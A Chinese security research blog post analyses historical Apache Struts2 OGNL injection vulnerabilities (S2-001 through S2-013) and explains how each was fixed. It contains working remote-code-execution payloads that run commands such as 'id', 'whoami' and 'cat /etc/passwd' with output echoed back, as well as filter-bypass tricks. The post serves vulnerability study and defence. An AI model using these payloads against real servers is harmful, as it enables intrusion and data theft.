Struts2历史高危漏洞分析系列:(一)

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

目录

前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。

S2-001

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-001

影响版本:Struts 2.0.0 - Struts 2.0.8

漏洞复现和分析

根据漏洞描述,可知struts2中有个名为altSyntax的特性,该特性允许在表单中提交包含OGNL表达式的字符串(一般是通过文本字段,即struts2的<s:textfile>标签),且可对包含OGNL的表达式进行递归计算。

漏洞复现环境使用的是docker镜像:medicean/vulapps:s_struts2_s2-001

这里先使用最简单的PoC进行调试:%{2+5}

Submit提交后,OGNL表达式返回结果并填充在textfield文本框中:

下面就来调试分析一下。
由于漏洞是在struts2对文本标签<s:textfield>处理的过程中触发的,所以先找到相对应的处理类。在IDEA里,对着<s:textfield>处点击便可定位到文件struts-tags.tld,其中可看到该标签相关的一些属性定义,包括该标签的对应的处理类为:org.apache.struts2.views.jsp.ui.TextFieldTag

在该类中搜索处理开始标签和结束标签的方法,发现其使用的是父类ComponentTagSupport的处理方法:doStarTagdoEndTag

在这两个方法中下断点。经调试发现,触发漏洞是在doEndTag方法中。因此,当当前标签时TextField类型时,单步跟进调试。

调试进入UIBean#evaluateParams()方法中,当请求的参数中value为null时,则会根据name属性的值去获取对应的value属性的值。且altSyntax特性默认是开启的(该属性设置在struts2的文件default.properties中),所以这里会用OGNL表达式的标识符%{}name属性的值包住,比如当前表单的用户名文本输入框中,name属性的值为username,则加了OGNL表达式标识符后变为:%{username},如下图:

继续跟进findValue()方法,后面会进入到TextParserUtil#translateVariables()方法中,如下图:

TextParserUtil#translateVariables()方法中,有一个while(true)循环,这里会调用OgnlValueStack#findValue()方法来计算OGNL表达式(其实底层调用的还是OGNL的API)计算。<br>
计算%{username},截取%{}里面的内容username,会从值栈ValueStack的Root对象中获取key为username的值,即%{2+5}。由于获取到的值%{2+5}仍然是一个OGNL表达式,故会再次进行计算,此时便是计算2+5得到值7

PS:本文不会详细讨论struts2的ValueStack、OGNL等知识点。
想了解的朋友可参考陆舟的《Struts2技术内幕》一书中的第6章, 以及第8章的8.2小节。

到此,漏洞原理的部分已经分析完了。

由于比较好奇这里为什么表单文本框的内容提交后OGNL表达式的计算结果会以替换文本输入框内容的方式进行回显。于是便进一步调试。
发现在UIBean#evaluateParams()计算完成后,会进入UIBean#mergeTemplate()方法构造一个页面返回到客户端。跟进该方法,如下图:

可看到该方法中使用了模板引擎Freemarker进行页面的构造,这里主要先针对用户名的文本框进行构造,所需参数由getParameters()方法返回,返回的值里就包含了上面OGNL表达式%{2+5}的计算结果7,保存在keynameValue的值中。
再来看看此时使用的模板template参数的值/template/xhtml/text,最后定位到具体的模板文件/template/simple/text.ftl,内容如下图:

这就一目了然了:这里会判断参数parameters中的nameValue的值是否存在,存在的话便填充到该文本输入框的value属性中。

可回显PoC

这里使用OGNL上下文对象context去获取HttpServletResponse对象,如下图:

于是有:

%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}

漏洞修复

在struts2 2.0.9版本中,依赖的XWork的版本为2.0.4,在该版本中,com.opensymphony.xwork2.util.TextParseUtil#translateVariables() 判断循环的次数,如果超过1次,就退出while(true)循环体,从而避免OGNL表达式的递归执行,如下图所示。

换言之,在处理完%{username}后,就不能对获取到的值再进行OGNL表达式计算了。

S2-003

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-003

影响版本:Struts 2.0.0 - Struts 2.0.11.2

漏洞复现与分析

如公告所述,该漏洞存在于Struts2默认的一个拦截器ParametersInterceptor。该过滤器在处理请求参数时,为了防止外界输入通过OGNL表达式来操作OGNL上下文对象context,对字符#进行了安全过滤。但由于OGNL可以识别unicode编码,故可将字符#进行unicode编码(即\u0023)后进行绕过。

下面来实际调试一下。

漏洞复现环境依旧使用struts-2.0.11.2/apps/struts2-blank-2.0.11.2.war

客户端发送请求后,在ParametersInterceptor#doIntercept()方法里断下,然后会先调用OgnlContextState.setDenyMethodExecution(contextMap, true)方法来设置不允许OGNL表达式调用方法。然后调用ParametersInterceptor#setParameters()方法对请求参数进行处理。如下图:

关于OgnlContextState.setDenyMethodExecution(contextMap, true)控制不允许OGNL表达式调用方法的实现原理,简单说一下:其实就是在OGNL上下文对象context内设置一个标志位,keyXWorkMethodAccessor的字符串常量DENY_METHOD_EXECUTION,值为true。当OGNL表达式里有方法调用时,OGNL的底层实现会调用XWorkMethodAccessor#callMethod()方法,里面会判断上下文对象contextDENY_METHOD_EXECUTION对应的值,如果是true,则不会执行方法,反之则执行方法。

关于OGNL中MethodAccessor的知识点这里不详细讨论,请参考陆舟的《Struts2技术内幕》一书中第6章的6.3小节。

继续跟进ParametersInterceptor#setParameters()方法,里面会调用ParametersInterceptor#acceptableName()对参数名进行安全校验,即是否包含特殊字符=,#:。如果没有包含指定字符,则继续执行,会调用OgnlValueStack#setValue()对参数名进行OGNL表达式计算。

继续跟进,会调用OgnlUtil#compile()方法,当首次请求时,expressions这个HashMap集合中没有以当前表达式作为keyvalue,所以会调用Ognl#parseExpression()解析当前表达式,而解析后的结果存放到expressions这个HashMap集合中。

Ognl#parseExpression()的解析过程中,后面会调用JavaCharStream#readChar(),该方法中,会对unicode编码转化为ASCII码字符。比如\u0023会转化为#。如下图:

综上,我们就可以将OGNL表达式中的特殊符号=,#:进行unicode编码后再发送,便可绕过acceptableName()方法的过滤。另外,再利用OGNL表达式的Expression Evaluation特性来编写PoC。

说到OGNL的Expression Evaluation特性,它支持(expr)(expr1)(expr2)(expr1)(expr2)(expr3)这样的写法。
但遗憾的是,官方文档Expression Evaluation的用法解释得让人看不懂,因为它的字面意思跟这个漏洞公开的PoC的编写逻辑个人感觉对不上。
另外,网上关于Struts2 RCE漏洞的分析文章大多数都没有对(expr1)(expr2)OGNL表达式求值背后的计算逻辑进行说明,少数有说到这个的却没有说明白。
我在调试这个漏洞的时候花了不少时间在Ognl#setValue()方法的底层实现上,想搞清楚它背后的运算逻辑,比如该漏洞的PoC为什么用(java_code)(fuck)(fuck)可以成功执行Java代码,而(fuck)(fuck)(java_code)这种调换了一下位置就不行?
但调试的过程发现,其底层实现比较复杂,涉及到将字符串转换为Ognl底层的AST语法树,然后括号()中不同形式的表达式,OGNL底层会使用不同类型的AST Node类去表示,如果某个AST Node还是一个AST语法树的话,又继续解析。且不同类型的AST Node,其行为是不同的,比如有的方法用的父类SimpleNode的方法,有的是重写了自己的方法,而这些不同可能会决定了()表达式顺序如何摆放
才能成功执行Java代码。
另外,在调试过程中发现OGNL的代码里有用的注释很少...
所以到最后我都没办法用言语来描述它的运算规则。因此,我只能用一种笨办法来获得结论,就是用不同形式的求值表达式去做测试,看哪种形式可以成功执行Java代码,测试结果如下:

OGNL表达式求值(Expression Expression):
1、如果是调用的OgnlUtil.getValue()方法,则以下表达式可以执行java代码:

  • (java code)
  • (java code)(fuck)
  • (fuck)(java code)
  • (java code)(fuck)(fuck)
  • (fuck)(java code)(fuck)

2、如果是调用的OgnlUtil.setValue()方法,则以下表达式可以执行java代码:

  • (java code)(fuck)
  • (fuck)(java code)
  • (java code)(fuck)(fuck)
  • (fuck)(java code)(fuck)

因为这个该漏洞时由OgnlUtil.setValue()方法去触发的,所以综上,可简单执行命令的PoC如下:

/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(b)(%5cu0040java.lang.Runtime%5cu0040getRuntime().exec(%22touch%20/tmp/success2%22))

可回显PoC

S2-001回显PoC同理,也是通过从上下文对象context获取com.opensymphony.xwork2.dispatcher.HttpServletResponse对象来实现,如下:

/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)(bla)
&amp;(b)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))(bla)
&amp;(c)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))(bla)
&amp;(d)(%5cu0023res%5cu003dnew%5cu0020char[20000])(bla)
&amp;(e)(%5cu0023dis.read(%5cu0023res))(bla)
&amp;(f)(%5cu0023writer%5cu003d%5cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())(bla)
&amp;(g)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))(bla)
&amp;(h)(%5cu0023writer.flush())(bla)
&amp;(i)(%5cu0023writer.close())(bla)

当然,这里用两个括号的形式也是可以的,但是无论用哪种,Java代码一定要放在第二个括号里,第一个括号里的用来决定表达式的执行顺序。因为在ParametersInterceptor#setParameters()方法中会把所有的url请求参数放在一个TreeMap里,且作为key进行存放。而TreeMap默认是会按照key进行字典排序的。所以如果要让PoC里所有的表达式都按照指定的先后顺序执行的话,必须使用第一个括号进行排序。比如上面回显PoC里第一个表达式先后依次就是(a)->(b)->(c)->(d)->(e)->(f)->(g)->(h)->(i)

注意:这个PoC在有的高版本的Tomcat会报400错误,提示java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 3986,这是因为高版本的Tomcat按照RFC规定实现,不允许URL中出现中括号[],这时只需将URL里的中括号[]进行url编码即可。

漏洞修复

Struts2 2.0.12版本,依赖的XWork版本是2.0.6。通过比对XWork2.0.62.0.5版本的源码的不同,发现在类OgnlValueStack中使用了SecurityMemberAccess去替代StaticMemberAccess

OgnlValueStack还因实现了新接口MemberAccessValueStack而实现了其两个方法:

而这两个方法在ParametersInterceptor#setParameters()方法中被调用:

那么SecurityMemberAccess这个类是如何起到防护作用的呢?
跟踪代码到最后OGNL表达式中如果有Java方法被调用的话,最终会调用OgnlRuntime#callAppropriateMethod()方法,里面有个isMethodAccessible()方法的判断:

从上图代码可知,isMethodAccessible()方法一定要返回true,才能继续往下走从而通过反射调用我们的Java方法,否则抛异常NoSuchMethodException

继续跟进isMethodAccessible(),发现最终会调用SecurityMemberAccess#isAcceptableProperty()方法进行判断, 该方法要返回true才可以, 其实现如下:

很明显,需要isAccepted()返回true并且isExcluded(name)返回false才行。

isAccepted()isExcluded()的返回值取决于SecurityMemberAccess的两个属性:acceptPropertiesexcludeProperties。这两个属性的赋值前面提到,是在ParametersInterceptor#setParameters()方法中,其对应的值是ParametersInterceptor的两个属性acceptParamsexcludeParams。通过阅读代码可知,acceptParams是一个空的集合,而excludeParams这个集合由于interceptor的配置文件中ParametersInterceptor的配置了该属性的初始值所以并不是空集合。其实这两个属性的值也可以通过调试可知。

所以isAccepted()是会返回true的,而isExcluded()也返回了true从而导致无法执行Java方法。

但这种修复方式,不治标也不治本。虽然给Java执行方法的门上了一把锁,但却把钥匙也插在锁上了,从而有了后面的S2-005。

S2-005

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-005

影响版本:Struts 2.0.0 - Struts 2.1.8.1

漏洞复现与分析

漏洞环境:Struts2-2.0.12/apps/struts2-blank-2.0.12.war

从前面对S2-003的漏洞修复部分可以知道,只要想办法让SecurityMemberAccess#isExcluded()方法返回false,就能让我们注入的OGNL表达式中的Java方法执行。而要SecurityMemberAccess#isExcluded()方法返回false,就得让SecurityMemberAccessexcludeProperties这个集合置空才行。

通过查看源码,发现SecurityMemberAccess对象是在OgnlValueStack对象被创建时,存放到其context属性(即该值栈的上下文对象,OgnlContext)中的。

所以是不是可以通过OGNL表达式#context['memberAccess']就能访问SecurityMemberAccess对象了呢?

答案是否定的

通过阅读OgnlContext的源码发现,OgnlContext虽然自身实现了Map集合接口,并重写了Map#put()Map#get()方法。但并没有把SecurityMemberAccess对象put()到内部Map集合中,而是赋值给自己的成员变量memberAccess中。实际上,OgnlContext是使用了装饰模式去扩展Map接口的。其内部有两个Map类型的成员变量:RESERVED_KEYSvalues来进行实际的Map容器存取操作。因此我们不能通过OGNL表达式#context['memberAccess']来访问SecurityMemberAccess对象。

但是从OgnlContext重写Mapget()方法中,我们看到了有意思的事,就是如果当RESERVED_KEYS集合包含名为_memberAccess的key时,会返回SecurityMemberAccess对象。而RESERVED_KEYS集合中确实是包含这个key的。所以我们就可以通过OGNL表达式#context['_memberAccess']#_memberAccess去访问到SecurityMemberAccess对象。

因此简单执行命令的PoC如下:

/xxx.action?
(a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET)
&amp;(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('touch%5cu0020/tmp/success2'))

可回显PoC

与前面漏洞不同的是,本次漏洞的回显PoC无法向之前的方式去获取com.opensymphony.xwork2.dispatcher.HttpServletResponse对象来实现。经调试发现,因为当前context对象是在一个新的OgnlValueStack值栈对象(即newStack)里的,其中并没有这个键值,如下图:

因为这个里的newStack是由原来的stack新建的,阅读OgnlValueStack(ValueStack)构造方法的实现可知,新建的newStack并不会拷贝stackcontext上下文对象的键值对。所以这里换一种方式,使用静态方法ServletActionContext#getResponse()去获取HttpServletResponse对象,实际上它获取的就是原来的stack值栈结构中的context上下文对象里的com.opensymphony.xwork2.dispatcher.HttpServletResponse

因此构造可回显PoC如下:

/xxx.action?
(a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET)
&amp;(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&amp;(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&amp;(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&amp;(f)(%5cu0023dis.read(%5cu0023res))
&amp;(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&amp;(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&amp;(i)(%5cu0023writer.flush())
&amp;(j)(%5cu0023writer.close())

后来用Struts2 2.1.8.1版本也调了下,发现代码有细微差别。上面的PoC无效。不过实现思路是一样的,改一下即可:

/xxx.action?
(a)(%5cu0023_memberAccess.allowStaticMethodAccess%5cu003dtrue)
&amp;(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&amp;(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&amp;(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&amp;(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&amp;(f)(%5cu0023dis.read(%5cu0023res))
&amp;(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&amp;(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&amp;(i)(%5cu0023writer.flush())
&amp;(j)(%5cu0023writer.close())

漏洞修复

在Struts 2.2.1版本中,使用了正则表达式匹配白名单字符的方式去校验请求url的参数:

S2-007

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-007

影响版本:Struts 2.0.0 - Struts 2.2.3

漏洞复现与分析

从漏洞公告可获悉该漏洞出现的场景和PoC。

这里使用Struts2 2.2.3自带的示例应用showcase进行漏洞复现,找到校验器Validate部分,如下:

如上图,在Integer Validator Field一栏的输入框中,输入PoC <' + #application + '>,提交后,由于没有通过应用程序中定义的整数校验器的校验,所以将输入中包含的OGNL表达式进行解析,并将解析结果进行返回。

从漏洞公告中可获悉漏洞出现在struts2的默认拦截器com.opensymphony.xwork2.interceptor.ConversionErrorInterceptorgetOverrideExpr()方法中:

但经调试发现,实际上调用的是其子类StrutsConversionErrorInterceptorgetOverrideExpr()方法。

如上图,该方法返回"'" + value + "'"。结合给出的PoC,很容易可猜想到,该方法会将文本输入框中提交过来的字符串用单引号'包裹上,原因应该是为了防止OGNL表达式的执行。很明显,可构造输入将这里的单引号'左右都进行闭合,便可以绕过防护。

在调试分析该漏洞前,建议先了解下struts2的主体架构和运行主线,关于这个可参考陆舟编著的《Struts2技术内幕》第七、第八章。

另外,还需要了解一下struts2的校验器框架的原理。关于这个可参考链接:https://blog.csdn.net/Mark_LQ/article/details/49837507

下面来实际调试分析一下。

struts2提供的校验器框架,也是通过拦截器去实现的。按照拦截器的先后顺序,下面会提及最后的四个:

  1. params对应的类:com.opensymphony.xwork2.interceptor.ParametersInterceptor
  2. conversionError对应的类:org.apache.struts2.interceptor.StrutsConversionErrorInterceptor
  3. validation对应的类:org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
  4. workflow对应的类:com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor

表单提交后,会先到拦截器ParametersInterceptor#doIntercept()进行处理,会把参数存到当前值栈ValueStack的上下文对象context中,然后再把执行的控制权移交下一个拦截器StrutsConversionErrorInterceptor去执行。

StrutsConversionErrorInterceptorActionContext中将转化类型时发生的错误信息添加到校验器对应的Action对象的FieldError中,在校验时候经常被使用到来在页面中显示类型转化错误的信息。

另外,还会将类型转化失败的参数值传入getOverrideExpr()方法进行处理,处理后再通过回调的方式保存到当前值栈ValueStack对象的属性overrides中,该属性是一个Map集合。

问题就出现在这个getOverrideExpr(),这里只是简单的用单引号'包裹文本框输入。所以输入的时候添加单引号'将这里的单引号闭合即可让OGNL表达式跳出单引号的包裹。

拦截器StrutsConversionErrorInterceptor处理完后就将执行的控制权移交给下一个拦截器AnnotationValidationInterceptor

AnnotationValidationInterceptor的职责就是获取应用程序定义的校验器(validator),并使用这些校验器对用户输入进行校验,结果是校验失败。校验结束后,将执行的控制权移交给最后一个拦截器DefaultWorkflowInterceptor

由于在AnnotationValidationInterceptor中使用校验器校验用户输入的结果是校验失败,所以在DefaultWorkflowInterceptor中就根据该结果,返回字符串"input",产生的结果就是返回input视图页面,从而中止了整个执行栈的调度执行。

接着就是构造input的视图页面,它是JSP页面,所以后面的漏洞触发流程也就跟S2-001差不多了,调用栈如下:

TextFieldTag#doEndTag()
  ComponentTagSupport#doEndTag()
    UIBean#end()
      UIBean#evaluateParams()
        Component#findValue()
          TextParseUtil#translateVariables()
            OgnlValueStack#findValue()
              OgnlValueStack#tryFindValueWhenExpressionIsNotNull()
                OgnlValueStack#tryFindValue()
                  OgnlValueStack#lookupForOverrides()
                  OgnlValueStack#getValue()

其中,在OgnlValueStack#lookupForOverrides()方法中会取出当前值栈的overrides属性,该属性中存放了前面类型转化失败的入参,也就是文本框中输入的内容。取出来后进行OGNL表达式计算。

至此,该漏洞的原理分析完了。

可回显PoC

' + (
#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#ret=@java.lang.Runtime@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()
) + '

漏洞修复

Struts2 2.2.3.1版本,依赖的XWork的版本也是2.2.3.1,在默认拦截器org.apache.struts2.interceptor.StrutsConversionErrorInterceptorgetOverrideExpr()方法中进行了修复。

如上图所示,对输入字符串中的双引号进行了转义后,再用双引号将其包裹。从而避免了输入字符串中的双引号闭合左右两边的双引号。

S2-008

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-008

影响版本:Struts 2.0.0 - Struts 2.3.1

从漏洞公告可知,S2-008一共4个漏洞。第一个漏洞与S2-007漏洞点类似,故不再关注。这里只关注能RCE类型的第2个和第4个漏洞。

  • 1、Remote command execution in CookieInterceptor
  • 2、 Remote command execution in DebuggingInterceptor

漏洞复现与分析

vuln-1:Remote command execution in CookieInterceptor

拦截器CookieInterceptor在struts2中默认是不开启的。需要在应用的struts.xml配置文件中手动开启,且要配置参数才行,如下图:

其实该漏洞跟S2-005类似,是因为在CookieInterceptor拦截器中没有对cookie进行合法性校验从而导致了可以在cookie的键key位置注入恶意的OGNL表达式。

然而主流Web容器比如Tomcat,会对cookie的名称有字符限制,一些关键字符无法使用使得这个漏洞点显得比较鸡肋。

尽管如此,在后续的修复版本中,还是在CookieInterceptor中增加了正则表达式进行字符白名单匹配。

vuln-2:Remote command execution in DebuggingInterceptor

该漏洞的前提条件是需要应用开启devMode模式。

正如vulhub上面提到的一样,该漏洞虽然较为鸡肋,但也可用作后门:

在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

漏洞原理比较简单,因为代码显而易见,在DebuggingInterceptor#intercept()中对入参进行了OGNL表达式计算,如下图:

可简单执行命令的PoC如下:

/devmode.action?debug=command
&amp;expression=(%23_memberAccess.allowStaticMethodAccess=true,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))

vuln-2:可回显PoC

因为DebuggingInterceptor会把表达式的计算结果返回,所以这里就没有必要获取response对象了:

/devmode.action?debug=command
&amp;expression=(%23_memberAccess.allowStaticMethodAccess=true,%23ret=@java.lang.Runtime@getRuntime().exec('id'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),new%20java.lang.String(%23res))

漏洞修复

后续的版本中,并没有对拦截器DebuggingInterceptor中的代码进行修复,因为就该调试功能本身而言,并不是漏洞。所以后续的修复主要是针对SecurityMemberAccess的代码进行改进,增强安全性。

S2-009

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-009

影响版本:Struts 2.0.0 - Struts 2.3.1.1

漏洞复现与分析

S2-009S2-005的修复绕过,而且绕过的方法很巧妙。(btw,S2-003/S2-005/S2-009都是当时Google安全团队的Meder Kydyraliev报告的)

在调试分析这些老漏洞的过程,其实也是在观摩安全人员和开发人员之间的对抗过程,挺有趣的)

前面分析过S2-003/S2-005漏洞可以知道,现在为了防止请求参数名中的OGNL表达式执行,主要做了以下两点:

  • 添加了类SecurityMemberAccess,且其属性allowStaticMethodAccess默认为false,来防止利用OGNL表达式去执行Java方法;
  • 在拦截器ParametersInterceptor中对请求参数名进行正则表达式白名单字符的匹配,来防止特殊符号(比如:#符号)经过unicode编码后的绕过。

这次的绕过使用到了OGNL表达式求值的另一种写法:[(ognl_java_code)(fuck)]。测试了一下,这种写法确实是有效的,如下图:

另外,在Action以属性封装的形式接收表单数据的情况下,比如myaction?testparam=xxx&amp;z[(testparam)(fuck)],且myaction对应的Action类也有名为testparam的成员属性。提交后,struts2会将xxx赋值给Action的成员属性testparam,接着处理第二个参数z[(testparam)(fuck)]时,先在Action类中检索名为testparam的属性的值,将检索到的值进行OGNL表达式计算。最关键的是,z[(testparam)(fuck)]这种参数名形式是匹配ParametersInterceptor拦截器中用来校验参数名合法性的正则表达式[a-zA-Z0-9\.\]\[\(\)_']+的。

因此,把恶意的OGNL表达式放置在testparam参数值,即xxx的位置,便可以规避拦截器ParametersInterceptor的正则表达式白名单字符的匹配,最终达成RCE。

下面以Struts2 2.3.1.1自带的示例程序showcase为例,找到ajax/Example5Action.java,其代码很简单,且符合使用属性封装的形式来获取提交过来的表单数据(这里的表单,不要狭隘地理解为HTML中的form表单,而是通过http提交数据的一种形式:key=value),如下图:

构造可简单执行命令的PoC如下:

http://vulfocus.me:31519/S2-009/ajax/example5?
name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
&amp;z[(name)(fuck)]

如下图,在拦截器ParametersInterceptor处理完第一个请求参数name后,Example5Action的成员属性name被成功赋值,它的值就是我们提交的包含恶意Java代码的OGNL表达式。

在解析第二个参数z[(name)(fuck)]的过程中,会解析为两个ASTProperty类型的节点,如下图:

然后会去当前Action对象Example5Action中检索name成员变量的值,如下图:

接着对获取到的name的值进行OGNL表达式计算,最后成功执行命令,如下图:

可回显PoC

/example5.action?name=(#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#ret=@java.lang.Runtime@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close())
&amp;z[(name)(fuck)]

漏洞修复

Struts2 2.3.1.2版本,依赖的XWork版本也是2.3.1.2,在拦截器ParametersInterceptor中,对请求参数名的合法性校验进行了增强,即增强了正则表达式。

另外,还将ParametersInterceptor中的newStack.setValue()替换为newStack.setParameter()方法调用,在OgnlValueStack#setParameter()方法中,会通过boolean标志位去禁止OGNL表达式计算的。

S2-012

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-012

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。

下面用vulhub/struts2/s2-012中的应用进行调试分析。

该应用中定义了UserAction,并配置了redirect类型的返回,重定向的地址url为:/index.jsp?name=${name},如下图:

从漏洞公告中可获悉,漏洞是发生在返回阶段。根据Struts2/XWork的运行主线的可知,ActionInvocation在调度完Action对象后,便会去调度Result对象,如下图:

关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》

所以,我们可以在Struts2的核心调度对象DefaultActionInvocation中开始调度Result处下断点,如下图:

继续调试,在StrutsResultSupport#conditionalParse()方法中,出现了一个熟悉的身影:TextParseUtil#translateVariables(),没错,这个方法在S2-001的漏洞触发执行栈中出现过。

可是S2-001漏洞不是早就被修复了吗,为什么还能通过TextParseUtil#translateVariables()去触发漏洞?

经调试发现,这里与S2-001还是稍有不同,这里调用的是TextParseUtil的一个重载方法,其中,第一个参数是一个char数组。而且如下图可以看到这里传入了包含两个元素的char数组,这就是S2-012为什么可以用S2-001的PoC直接打的关键。为什么呢,继续往下看。

可以看到,这里的while(true)循环被放置到一个for循环里了,且for循环的次数由char数组openChars的长度决定,而这里传入的openChars的长度为2,两个元素分别为$%字符。所以下面的while(true)循环会执行两次,第一次是解析${name},解析得到结果后,继续对结果%{xxx}进行解析。因此使得S2-001漏洞重现了。(是不是感觉挺有意思的^_^)

可回显PoC

综上,这里可以直接用S2-001的PoC执行任意命令:

%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}

如果要使用Runtime#exec()方法来执行命令也可以,不过要添加#_memberAccess.allowStaticMethodAccess=true。前面使用ProcessBuilder#start(),由于不需要调用静态方法,所以无需先将SecurityMemberAccessallowStaticMethodAccess改为true

%{#_memberAccess.allowStaticMethodAccess=true,
#a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}

漏洞修复

通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。<br>

S2-013

官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-013

影响版本:Struts 2.0.0 - Struts 2.3.14.1

漏洞复现与分析

从漏洞公告中可获悉漏洞出现在<s:url><s:a>标签中的includeParams属性。<br>
includeParams属性接收三个值:

  • none:表示url中不包含参数(默认就是none)。
  • get:表示url中只包含GET参数。
  • all:表示url中既包括GET参数也包括POST参数。

<s:url><s:a>标签指定了includeParams属性为getall时,Struts2在处理url的参数时会进行两次OGNL表达式计算,从而导致注入的Java代码执行。

其实这个漏洞和S2-001是类似的,只是这次漏洞时出现在<s:url><s:a>标签的处理过程中而已。

下面使用Struts 2.3.14.1自带的示例程序struts-blank来调试分析。运行应用之前得修改一下首页index.jsp,在<s:url><s:a>标签中添加includeParams="all",如下图:

